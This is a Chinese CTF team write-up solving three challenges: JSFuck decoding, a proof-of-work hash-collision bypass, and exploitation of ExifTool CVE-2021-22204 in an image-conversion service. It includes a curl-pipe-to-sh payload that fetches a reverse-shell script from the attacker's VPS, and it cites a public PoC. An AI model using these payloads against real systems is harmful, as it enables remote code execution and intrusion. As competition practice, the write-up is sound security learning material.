

FRANKSS 战队 WRITEUP

一、 战队信息

战队名称: Frankss

战队排名: 12 名 815pt

二、 解题情况

Misc			Crypto			PWN			Reverse			Web				
ed	被带	签到	bo	Tr	Tr	ou	To	ch	NO	Re	ba	si	sq	ea	pi	pi
		50		512											253	

三、 解题过程

签到

<http://eci-2ze0c5wmfgekkohm9wkc.cloudeci1.ichunqiu.com/main.js> 得到主要逻辑,

去 jsfuck 解密 <http://www.liminba.com/tool/jsfuckdecode/>, 在逻辑的

```
if (getFlag) {  
  
    window.location="/Th3s_F44ggg_Hhhh363.html";  
  
    getFlag = false;  
  
}
```

找到 flag 链接, 访问得到 flag{83562634-243a-4faa-9afd-de75f8d9d1ec}

Train

POW 暴力即可（四个 for 的 pow 就不用贴了吧）

比较碰撞时没比较输入是否相同，所以过了 POW 之后输两段相同文字就可以了

```
abundant@vuln:~$ nc 123.130.140.40 33303
[+] sha256(XXXX+amETCGc2LYC8lk4l) == bbf4f23618794d2b934f3376ba50140e
[+] Plz Tell Me XXXX :kNMN

.000000..0          0000 0000 00000000000000
d8P'      `Y8      `888 `888 8' 888 `8
Y88bo.      000. .00. .00. .0000. 888 888 888 000
`"Y8888o. `888P"Y88bP"Y88b `P )88b 888 888 888 `88
`"Y88b 888 888 888 .oP"888 888 888 888 88
oo .d8P 888 888 888 d8( 888 888 888 888 88
8""88888P' o888o o888o o888o `Y888""8o o888o o888o o888o d88

Please give me 2 strings that are same when are hashed =.=
SERVER <INPUT>: 11
SERVER <INPUT>: 11

Just do it!~ You can do more!
flag{6d63bbea-8c50-4c35-a21b-3124167b0d02}
```

picture convert

两处命令执行，不同执行身份：

```
os.system(f"su - conv -c 'cd /app/static/images/ && convert tmpimg
{session['filename']}'")
```

这里的 filename 后缀 type 应该可控，但是没注意到，所以没拿到这里的 flag2

```
os.popen("su - exif -c '/app/exiftool-12.23/exiftool
/app/static/images/tmpimg').read()
```

exiftool-12.23 一搜有经典 RCE CVE-2021-22204，题目过滤了一些常见 poc 的

成分，找资料发现可以自定 label，不需要 metadata，并得到了 POC：

<https://github.com/AssassinUKG/CVE-2021-22204>

使用上述 POC 制作 jpg，payload 为

curl [http://\[VPS的IP\]/1.sh](http://[VPS的IP]/1.sh) | sh

脚本来自 <https://your-shell.com> 。成功反弹 shell，只能拿前半段 flag。

扫了下没有提权机会，但是 env 直接把 ICQ_FLAG 打出来了，可能是非预期，第二题也修掉了。

```
[+] Environment
[i] Any private information inside environment variables?
HISTFILESIZE=0
MAIL=/var/mail/exif
USER=exif
HOSTNAME=engine-1
HOME=/home/exif
ICQ_FLAG=flag{6aba6f22-df6c-48da-9d15-2785e70473ff}
LOGNAME=exif
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/sbin:/usr/local/bin:
HISTSIZE=0
DEBIAN_FRONTEND=noninteractive
SHELL=/bin/sh
HISTFILE=/dev/null
```